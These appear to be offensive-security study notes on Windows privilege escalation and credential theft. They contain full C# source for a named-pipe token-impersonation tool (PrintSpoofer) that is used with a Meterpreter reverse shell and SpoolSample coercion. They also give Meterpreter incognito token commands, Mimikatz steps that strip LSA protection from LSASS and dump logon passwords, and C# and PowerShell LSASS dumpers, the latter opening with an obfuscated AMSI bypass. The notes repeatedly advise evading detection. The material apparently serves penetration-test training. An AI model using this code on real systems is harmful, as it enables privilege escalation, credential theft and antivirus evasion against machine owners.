The code below will open a pipe and wait for a authentication. Instead, you can use PrintSpoofer from itm4n and compile it. This will give SYSTEM shell directly. To evade detection the code can be obfuscated.
GitHub – itm4n/PrintSpoofer: Abusing impersonation privileges through the “Printer Bug”
- SeImpersonatePrivilege allows us to impersonate any token for which we can get a reference, or
handle. - We will use SpoolSample.exe to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface.
- We will use the code below to simulate a print client. The code will create a pipe server, wait for a connection, and attempt to impersonate the client that connects to it.
using System;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
namespace PrintSpoofer
{
public class Program
{
public static uint PIPE_ACCESS_DUPLEX = 0x3;
public static uint PIPE_TYPE_BYTE = 0x0;
public static uint PIPE_WAIT = 0x0;
public static uint TOKEN_ALL_ACCESS = 0xF01FF;
public static uint TOKENUSER = 1;
public static uint SECURITY_IMPERSONATION = 2;
public static uint TOKEN_PRIMARY = 1;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
public enum CreationFlags
{
DefaultErrorMode = 0x04000000,
NewConsole = 0x00000010,
NewProcessGroup = 0x00000200,
SeparateWOWVDM = 0x00000800,
Suspended = 0x00000004,
UnicodeEnvironment = 0x00000400,
ExtendedStartupInfoPresent = 0x00080000
}
public enum LogonFlags
{
WithProfile = 1,
NetCredentialsOnly
}
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes);
[DllImport("kernel32.dll")]
static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);
[DllImport("Advapi32.dll")]
static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentThread();
[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool RevertToSelf();
[DllImport("kernel32.dll")]
static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);
[DllImport("userenv.dll", SetLastError = true)]
static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);
public static void Main(string[] args)
{
// Parse arguments (pipe name)
if (args.Length != 2)
{
Console.WriteLine("Please enter the pipe name to be used and the binary to trigger as arguments.\nExample: .\\PrintSpoofer.exe \\\\.\\pipe\\test\\pipe\\spoolss c:\\windows\\tasks\\bin.exe");
return;
}
string pipeName = args[0];
string binToRun = args[1];
// Create our named pipe
IntPtr hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero);
// Connect to our named pipe and wait for another client to connect
Console.WriteLine("Waiting for client to connect to named pipe...");
bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);
// Impersonate the token of the incoming connection
result = ImpersonateNamedPipeClient(hPipe);
// Open a handle on the impersonated token
IntPtr tokenHandle;
result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);
// Duplicate the stolen token
IntPtr sysToken = IntPtr.Zero;
DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);
// Create an environment block for the non-interactive session
IntPtr env = IntPtr.Zero;
bool res = CreateEnvironmentBlock(out env, sysToken, false);
// Get the impersonated identity and revert to self to ensure we have impersonation privs
String name = WindowsIdentity.GetCurrent().Name;
Console.WriteLine($"Impersonated user is: {name}.");
RevertToSelf();
// Get the system directory
StringBuilder sbSystemDir = new StringBuilder(256);
uint res1 = GetSystemDirectory(sbSystemDir, 256);
// Spawn a new process with the duplicated token, a desktop session, and the created profile
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
sInfo.cb = Marshal.SizeOf(sInfo);
sInfo.lpDesktop = "WinSta0\\Default";
CreateProcessWithTokenW(sysToken, LogonFlags.WithProfile, null, binToRun, CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref sInfo, out pInfo);
Console.WriteLine($"Executed '{binToRun}' with impersonated token!");
}
}
}
Step 1 – Compile the code (PrintSpoofer.exe) above and compile a meterpreter reverse shell
- Transfer to target.
Step 2 – Start the PrintSpoofer.exe
- Specify the meterpreter binary
PrintSpoofer.exe \\.\pipe\test\pipe\spoolss C:windows\tasts\bin.exe
Step 3 – Coerce Windows to authenticate
- Use SpoolSample.exe to authenticate.
- When a file path is supplied to a Win32 API, directory separators are converted to a canonical form. Forward slashes (“/”) are converted to backward slashes (“\”). This process is known as file path normalization.
- If
SpoolSample
is provided with a pipe name containing a forward slash after the hostname (e.g., “appsrv01/test”), the spooler service appends the default name “pipe\spoolss” before processing.
SpoolSample.exe appsrv01 appsrv01/pipe/test
Step 4 – bin.exe executed in the context of impersonated token


Using Meterpreter to impersonate users
- Using the meterpreter sesison with SYSTEM shell we can impersonate tokens without using mimikatz.
Steps:
- Load Incognito Extension:
meterpreter > load incognito
- Display Available Commands:
meterpreter > help incognito
Key Commands:
-
add_group_user
: Add a user to a global group with all tokens. -
add_localgroup_user
: Add a user to a local group with all tokens. -
add_user
: Add a user with all tokens. -
impersonate_token
: Impersonate a specified token. -
list_tokens
: List tokens available under the current user context. -
snarf_hashes
: Capture challenge/response hashes for every token.
- List Unique User Tokens:
meterpreter > list_tokens -u
Output:
- Delegation Tokens (e.g., corp1\admin , NT AUTHORITY\SYSTEM , etc.)
- Impersonation Tokens (e.g., NT AUTHORITY\ANONYMOUS LOGON )
- Impersonate a User Token:
- Use the impersonate_token command to impersonate a user through the Win32 ImpersonateLoggedOnUser API.
meterpreter > impersonate_token corp1\\admin
- Verify Impersonation:
meterpreter > getuid
Kerberos
- Domain Controller (DC): Acts as a Key Distribution Center (KDC).
- Authentication Server: Service run by the DC.
- Ticket Granting Ticket (TGT): Contains user info, domain, timestamp, client IP, and session key.
- Service Principal Name (SPN): Identifier for each instance of a service.
Disable LSA protection and dump cached creds
- Mimikatz is a tool used to extract and manipulate credentials, tokens, and privileges in Windows.
- Local Security Authority (LSA) Protection: Protects the LSASS memory space where password hashes are cached.
- Protected Processes Light (PPL): Introduced from Windows 8 onwards, prevents a SYSTEM integrity process from accessing another SYSTEM integrity process with PPL enabled.
- LSASS is part of the OS and runs as SYSTEM. SYSTEM or local administrator permissions are needed to access hashes stored on a target.
# 1. Enable SeDebugPrivilege:
mimikatz # privilege::debug
# 2. Load mimidrv.sys (https://github.com/ParrotSec/mimikatz/tree/master/x64) Driver (to disable PPL protection for LSASS):
# NOTE: Uploading the mimidrv.sys driver to the victim machine might trigger antivirus detections.
mimikatz # !+
# 3. Disable LSA Protection for LSASS:
mimikatz # !processprotect /process:lsass.exe /remove
# 4. Dump Credentials After Disabling LSA Protection:
mimikatz # sekurlsa::logonpasswords
Memory Dump with Mimikatz
- Memory dumps allow for the extraction of sensitive information, such as credentials, from the LSASS process.
- Mimikatz can be used to parse these dumps and extract the desired information.
- Using Task Manager:
- Right-click the task bar and select Task Manager.
- Navigate to the Details tab.
- Locate the lsass.exe process.
- Right-click it and choose “Create dump file”.
- Note the location of the dump file from the popup.

- Ensure Compatibility:
- When opening a dump file in Mimikatz, the target machine and the processing machine must have a matching OS and architecture. For example, if the dumped LSASS process was from a Windows 10 64-bit machine; we must also parse it on a Windows 10 or Windows 2016/2019 64-bit machine. However, processing the dump file requires neither an elevated command prompt nor privilege::debug.
- Load and Parse the Dump:
C:\Tools\Mimikatz> mimikatz.exe
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
- Creating a dump using Task Manager requires GUI access to the target machine.
- While parsing the dump file with Mimikatz, there’s no need for an elevated command prompt or the privilege::debug command.
- The technique does not require the presence of Mimikatz on the target machine.
MiniDump
- Developing a custom C# application for executing a memory dump, which can be parsed using Mimikatz.
- Task Manager and ProcDump, when creating a dump file, utilize the Win32
MiniDumpWriteDump
API. - The goal is to create a C# application that replicates this functionality by invoking the same API.
- This will probably avoid detection, since mimikatz is so well known and will trigger every signature.
- Execute the application from an elevated command prompt to avoid OpenProcess failure.
C# version
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
namespace MiniDump
{
public class Program
{
static int MiniDumpWithFullMemory = 2;
static UInt32 PROCESS_ALL_ACCESS = 0x001F0FFF;
[DllImport("Dbghelp.dll")]
static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
public static void Main(string[] args)
{
// Get the PID of lsass.exe
Process[] lsass = Process.GetProcessesByName("lsass");
int lsass_pid = lsass[0].Id;
Console.WriteLine($"Got lsass.exe PID: {lsass_pid}.");
// Get a handle on LSASS
IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, lsass_pid);
Console.WriteLine($"Got a handle on lsass.exe: {handle}.");
// Dump LSASS process to file
string filePath = "C:\\Windows\\tasks\\lsass.dmp";
FileStream dumpFile = new FileStream(filePath, FileMode.Create);
bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
if (dumped)
{
Console.WriteLine($"Dumped LSASS memory to {filePath}.");
}
else
{
Console.WriteLine($"Error dumping LSASS memory: {Marshal.GetLastWin32Error()}");
}
}
}
}
Powershell Version
# Bypass AMSI because we're cool
# Change this if the bypass dont work
[Ref].Assembly.GetType('System.Management.Automation.Amsi'+[char]85+'tils').GetField('ams'+[char]105+'InitFailed','NonPublic,Static').SetValue($null,$true)
# Utility functions
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
# Add dbghelp.dll and reflectively load the function while we're at it
# (somehow dbghelp.dll doesn't play nice with LookupFunc)
$MethodDefinition = @'
[DllImport("DbgHelp.dll", CharSet = CharSet.Unicode)]
public static extern bool MiniDumpWriteDump(
IntPtr hProcess,
uint processId,
IntPtr hFile,
uint dumpType,
IntPtr expParam,
IntPtr userStreamParam,
IntPtr callbackParam
);
'@
$dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name 'dbghelp' -Namespace 'Win32' -PassThru
# Get LSASS PID
$lsassPid = Get-Process lsass | select -ExpandProperty Id
Write-Host("Got lsass.exe PID: $lsassPid.")
# Get a handle on LSASS
$handle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),
(getDelegateType @([UInt32], [Bool], [Int])([IntPtr]))).Invoke(0x1F0FFF,$false,$lsassPid)
Write-Host("Got handle on LSASS: $handle.")
# Dump process memory to file
$filePath = "C:\Windows\Tasks\lsass.dmp"
$dumpFile = New-Object IO.FileStream $filePath,'Create','Write','Read'
$result = $dbghelp::MiniDumpWriteDump($handle, $lsassPid, $dumpFile.Handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
$dumpFile.Close()
if($result) {
Write-Host("Dumped LSASS memory to $filePath.")
}else {
Write-Host("Error dumping LSASS memory.")
}